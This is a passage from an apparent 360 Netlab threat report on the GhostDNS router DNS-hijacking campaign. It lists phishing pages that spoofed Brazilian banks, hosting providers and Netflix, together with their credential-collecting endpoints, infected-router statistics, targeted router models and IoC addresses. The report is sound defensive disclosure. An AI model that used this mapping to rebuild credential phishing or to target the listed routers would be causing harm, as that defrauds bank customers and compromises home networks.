'http://193.70.95.89/enviar_certificado_1.php']\n70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html locaweb.com.br ['http://193.70.95.89/salvar.php']\n70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html www.locaweb.com.br ['http://193.70.95.89/salvar.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancobrasil.com.br ['http://193.70.95.89/processar_1.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancodobrasil.com.br ['http://193.70.95.89/processar_1.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bb.com.br ['http://193.70.95.89/processar_1.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bancobrasil.com.br ['http://193.70.95.89/processar_1.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bb.com.br ['http://193.70.95.89/processar_1.php']\n8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php']\n8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml www.citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php']\n97c8abea16e96fe1222d44962d6a7f89 http://193.70.95.89 www.bradesco.com.br ['http://193.70.95.89/identificacao.php']\n9882ea325c529bf75cf95d0935b4dba0 http://193.70.95.89 www.bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php painelhost.uol.com.br ['http://193.70.95.89/processa_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php uolhost.uol.com.br ['http://193.70.95.89/processa_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.painelhost.uol.com.br ['http://193.70.95.89/processa_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.com.br ['http://193.70.95.89/processa_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.uol.com.br ['http://193.70.95.89/processa_1.php']\nabcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']\nabcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']\nabcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']\nabcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']\ncf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 contasuper.com.br ['http://193.70.95.89/processar_1.php']\ncf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 superdigital.com.br ['http://193.70.95.89/processar_1.php']\ncf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 www.superdigital.com.br ['http://193.70.95.89/processar_1.php']\nd01f5b9171816871a3c1d430d255591b http://193.70.95.89 www.bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']\nf71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 kinghost.com.br ['http://193.70.95.89/processa_1.php']\nf71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 www.kinghost.com.br ['http://193.70.95.89/processa_1.php']\nfbb4691da52a63baaf1c8fc2f4cb5d2d http://193.70.95.89 www.netflix.com ['http://193.70.95.89/envio.php']\nffd3708c786fbb5cfa239a79b45fe45b http://193.70.95.89 bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']\nffecab7ab327133580f607112760a7e2 http://193.70.95.89 clickconta.com.br ['http://193.70.95.89/identificacao.php']\n```\n\nBelow is the IP addresses of the phishing webserver.\n```\n193.70.95.89\t  \"AS16276 OVH SAS\"\n198.27.121.241\t\"AS16276 OVH SAS\"\n35.237.127.167\t\"AS15169 Google LLC\"\n```\n\n\n\n### Statistics of Infected Routers\n\nBased on the logs of GhostDNS from 09-21 to 09-27, we have observed 100k+ infected router IP addresses (87.8% located in Brazil), involving 70+ router/firmwares. Due to the dynamic updates of router IP address, the actual number of infected devices should be slightly different.\n\n![GhostDNS](__GHOST_URL__/content/images/2018/09/victims.png)\n\nBelow is the country list of infected IP addresses.\n```\nBR 91605\nBO 7644\nAR 2581\nSX 339\nMX 265\nVE 219\nUS 191\nUY 189\nCL 138\nCO 134\nGT 80\nEC 71\nGY 70\nRU 61\nRO 51\nPY 38\nPA 35\nUA 34\nHN 33\nBG 33\n```\n\nBelow is the list of web page titles from infected routers.\n```\n28ZE\nADSL2 PLUS\nAIROS\nAN550602B\nBaseDashboard\nC3T Routers\nDIR600 1\nDIR-615 DLINK\nDlink DIR-610\nDlink DIR-611\nDLINK DIR-905L\nDSL Router\nDSL Router - GKM 1220\nELSYS CPE-2N\nFiberHome AN5506-02-B, hardware: GJ-2.134.321B7G, firmware: RP2520\nFiberLink101\nGoAhead-Boa\nGoAhead-Webs\nGoAhead-Webs Routers\nGoAhed 302\nGOTHAN\nGREATEK\nGWR-120\nKP8696X\nLink One\nMini_httpd\nMultilaser Router\nOIWTECH\nProqualit Router\nRealtek Semiconductor\nRealtek Semiconductor [Title]\nRoteador ADSL\nRoteador Wireless KLR 300N\nRoteador Wireless N 150Mbps\nRoteador Wireless N 150 Mbps\nRoteador Wireless N 300 Mbps\nRoteador Wireless N 300 Mbps [ LinkOne ] \nRoteador Wireless N 300 Mbps [Link One]\nRoteador Wireless N ( MultiLaser )\nRoteador Wireless N [ MultiLaser ]\nTENDA\nTimDSL\nTL-WR740N / TL-WR741ND\nTL-WR840N\nTL-WR849N\nTP-LINK Nano WR702N\nTP-LINK Roteador Wireless\nTP-LINK Roteador Wireless N WR741ND\nTP-LINK TL-WR941HP\nTP-LINK Wireless AP WA5210G\nTP-LINK Wireless Lite N Router WR740N\nTP-LINK Wireless Lite N Router WR749N\nTP-LINK Wireless N Gigabit Router WR1043ND\nTP-LINK Wireless N Router WR841N/WR841ND\nTP-LINK Wireless N Router WR845N\nTP-LINK Wireless N Router WR941ND\nTP-LINK Wireless Router\nTP-LINK WR340G\nTP-LINK WR720N\nTP-LINK WR740N\nTP-LINK WR741N\nTP-LINK WR743ND\nTP-LINK WR840N\nTP-LINK WR841HP\nTP-LINK WR841N\nTP-LINK WR940N\nTP-LINK WR941N\nTP-LINK WR949N\nWireless-N Router\nWireless Router\nWLAN AP Webserver\nZNID\n```\n\n\n\n### Summary\nThe GhostDNS system poses a real threat to Internet. It is highly scaled, utilizes diverse attack vector, adopts automated attack process.\n\nWe recommend the broadband users in Brazil to update their router systems, check if the router's default DNS server is changed and set more complicated password for router web portal. \n\nWe also recommend the router vendors to increase the complexity of router default password and enhance the system security update mechanism for their products.\n\nRelevant security agencies are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.\n\n\n#### Contact Us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab at 360 dot cn.\n\nnote:We have informed various ISPs on the IOC list, and OVH, ORACLE, Google, Microsoft have taken down the related IPs and some others are working on it (Thanks!)\n#### IoC list\n```\n#Pishing Web Server\n[takendown] 193.70.95.89                 \"AS16276 OVH SAS\"\n[takendown] 198.27.121.241\t           \"AS16276 OVH SAS\"\n[takendown] 35.237.127.167\t           \"AS15169 Google LLC\"\n\n#Rogue DNS Server\n139.60.162.188\t           \"AS395839 HOSTKEY\"\n139.60.162.201\t           \"AS395839 HOSTKEY\"\n173.82.168.104\t           \"AS35916 MULTACOM CORPORATION\"\n18.223.2.98\t              \"AS16509 Amazon.com, Inc.\"\n185.70.186.4\t             \"AS57043 Hostkey B.v.\"\n200.196.240.104\t          \"AS11419 Telefonica Data S.A.\"\n200.196.240.120\t          \"AS11419 Telefonica Data S.A.\"\n80.211.37.41\t             \"AS31034 Aruba S.p.A.\"\n[takendown] 35.185.9.164\t             \"AS15169 Google LLC\"\n[takendown] 144.22.104.185\t           \"AS7160 Oracle Corporation\"\n[takendown] 192.99.187.193\t           \"AS16276 OVH SAS\"\n[takendown] 198.27.121.241\t           \"AS16276 OVH SAS\"\n\n#Web Admin Server\n[takendown] 198.50.222.139\t          \"AS16276 OVH SAS\"\n\n\n#DNSChanger Scanner Server\n[takendown] 104.196.177.180\t          \"AS15169 Google LLC\"\n[takendown] 104.196.232.200\t          \"AS15169 Google LLC\"\n[takendown] 104.197.106.6\t            \"AS15169 Google LLC\"\n[takendown] 104.198.54.181\t           \"AS15169 Google LLC\"\n[takendown] 104.198.77.60\t            \"AS15169 Google LLC\"\n[takendown] 198.50.222.139\t           \"AS16276 OVH SAS\"\n[takendown] 35.185.127.39\t            \"AS15169 Google LLC\"\n[takendown] 35.185.9.164\t             \"AS15169 Google LLC\"\n[takendown] 35.187.149.224\t           \"AS15169 Google LLC\"\n[takendown] 35.187.202.208\t           \"AS15169 Google LLC\"\n[takendown] 35.187.238.80\t            \"AS15169 Google LLC\"\n[takendown] 35.188.134.185\t           \"AS15169 Google LLC\"\n[takendown] 35.189.101.217\t           \"AS15169 Google LLC\"\n[takendown] 35.189.125.149\t           \"AS15169 Google LLC\"\n[takendown] 35.189.30.127                \"AS15169 Google LLC\"\n[takendown] 35.189.59.155                \"AS15169 Google LLC\"\n[takendown] 35.189.63.168                \"AS15169 Google LLC\"\n[takendown] 35.189.92.68                 \"AS15169 Google LLC\"\n[takendown] 35.194.197.94                \"AS15169 Google LLC\"\n[takendown] 35.195.116.90                \"AS15169 Google LLC\"\n[takendown] 35.195.176.44                \"AS15169 Google LLC\"\n[takendown] 35.196.101.227               \"AS15169 Google LLC\"\n[takendown] 35.197.148.253               \"AS15169 Google LLC\"\n[takendown] 35.197.172.214               \"AS15169 Google LLC\"\n[takendown] 35.198.11.42                 \"AS15169 Google LLC\"\n[takendown] 35.198.31.197                \"AS15169 Google LLC\"\n[takendown] 35.198.5.34                  \"AS15169 Google LLC\"\n[takendown] 35.198.56.227                \"AS15169 Google LLC\"\n[takendown] 35.199.106.0                 \"AS15169 Google LLC\"\n[takendown] 35.199.2.186                 \"AS15169 Google LLC\"\n[takendown] 35.199.61.19                 \"AS15169 Google LLC\"\n[takendown] 35.199.66.147                \"AS15169 Google LLC\"\n[takendown] 35.199.77.82                 \"AS15169 Google LLC\"\n[takendown] 35.200.179.26                \"AS15169 Google LLC\"\n[takendown] 35.200.28.69                 \"AS15169 Google LLC\"\n[takendown] 35.203.111.239               \"AS15169 Google LLC\"\n[takendown] 35.203.135.65                \"AS15169 Google LLC\"\n[takendown] 35.203.143.138               \"AS15169 Google LLC\"\n[takendown] 35.203.167.224               \"AS15169 Google LLC\"\n[takendown] 35.203.18.30                 \"AS15169 Google LLC\"\n[takendown] 35.203.183.182               \"AS15169 Google LLC\"\n[takendown] 35.203.25.136                \"AS15169 Google LLC\"\n[takendown] 35.203.3.16                  \"AS15169 Google LLC\"\n[takendown] 35.203.48.110                \"AS15169 Google LLC\"\n[takendown] 35.203.5.160                 \"AS15169 Google LLC\"\n[takendown] 35.203.8.203                 \"AS15169 Google LLC\"\n[takendown] 35.204.146.109               \"AS15169 Google LLC\"\n[takendown] 35.204.51.103                \"AS15169 Google LLC\"\n[takendown] 35.204.77.160                \"AS15169 Google LLC\"\n[takendown] 35.204.80.189                \"AS15169 Google LLC\"\n[takendown] 35.205.148.72                \"AS15169 Google LLC\"\n[takendown] 35.205.24.104                \"AS15169 Google LLC\"\n[takendown] 35.221.110.75                \"AS19527 Google LLC\"\n[takendown] 35.221.71.123                \"AS19527 Google LLC\"\n[takendown] 35.227.25.22                 \"AS15169 Google LLC\"\n[takendown] 35.228.156.223               \"AS15169 Google LLC\"\n[takendown] 35.228.156.99                \"AS15169 Google LLC\"\n[takendown] 35.228.240.14                \"AS15169 Google LLC\"\n[takendown] 35.228.244.19                \"AS15169 Google LLC\"\n[takendown] 35.228.73.198                \"AS15169 Google LLC\"\n[takendown] 35.228.90.15                 \"AS15169 Google LLC\"\n[takendown] 35.230.104.237               \"AS15169 Google LLC\"\n[takendown] 35.230.158.25                \"AS15169 Google LLC\"\n[takendown] 35.230.162.54                \"AS15169 Google LLC\"\n[takendown] 35.230.165.35                \"AS15169 Google LLC\"\n[takendown] 35.231.163.40                \"AS15169 Google LLC\"\n[takendown] 35.231.60.255                \"AS15169 Google LLC\"\n[takendown] 35.231.68.186                \"AS15169 Google LLC\"\n[takendown] 35.232.10.244                \"AS15169 Google LLC\"\n[takendown] 35.234.131.31                \"AS15169 Google LLC\"\n[takendown] 35.234.136.116               \"AS15169 Google LLC\"\n[takendown] 35.234.156.85                \"AS15169 Google LLC\"\n[takendown] 35.234.158.120               \"AS15169 Google LLC\"\n[takendown] 35.234.77.117                \"AS15169 Google LLC\"\n[takendown] 35.234.89.25                 \"AS15169 Google LLC\"\n[takendown] 35.234.94.97                 \"AS15169 Google LLC\"\n[takendown] 35.236.117.108               \"AS15169 Google LLC\"\n[takendown] 35.236.2.49                  \"AS15169 Google LLC\"\n[takendown] 35.236.222.1                 \"AS15169 Google LLC\"\n[takendown] 35.236.246.82                \"AS15169 Google LLC\"\n[takendown] 35.236.25.247                \"AS15169 Google LLC\"\n[takendown] 35.236.254.11                \"AS15169 Google LLC\"\n[takendown] 35.236.34.51                 \"AS15169 Google LLC\"\n[takendown] 35.237.127.167               \"AS15169 Google LLC\"\n[takendown] 35.237.204.11                \"AS15169 Google LLC\"\n[takendown] 35.237.215.211               \"AS15169 Google LLC\"\n[takendown] 35.237.32.144                \"AS15169 Google LLC\"\n[takendown] 35.237.68.143                \"AS15169 Google LLC\"\n[takendown] 35.238.4.122                 \"AS15169 Google LLC\"\n[takendown] 35.238.74.24                 \"AS15169 Google LLC\"\n[takendown] 35.240.156.17                \"AS15169 Google LLC\"\n[takendown] 35.240.212.106               \"AS15169 Google LLC\"\n[takendown] 35.240.234.169               \"AS15169 Google LLC\"\n[takendown] 35.240.94.181                \"AS15169 Google LLC\"\n[takendown] 35.241.151.23                \"AS15169 Google LLC\"\n[takendown] 35.242.134.99                \"AS15169 Google LLC\"\n[takendown] 35.242.140.13                \"AS15169 Google LLC\"\n[takendown] 35.242.143.117               \"AS15169 Google LLC\"\n[takendown] 35.242.152.241               \"AS15169 Google LLC\"\n[takendown] 35.242.203.94                \"AS15169 Google LLC\"\n[takendown] 35.242.245.109               \"AS15169 Google LLC\"\n[takendown] 40.74.85.45                  \"AS8075 Microsoft Corporation\"\n```\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}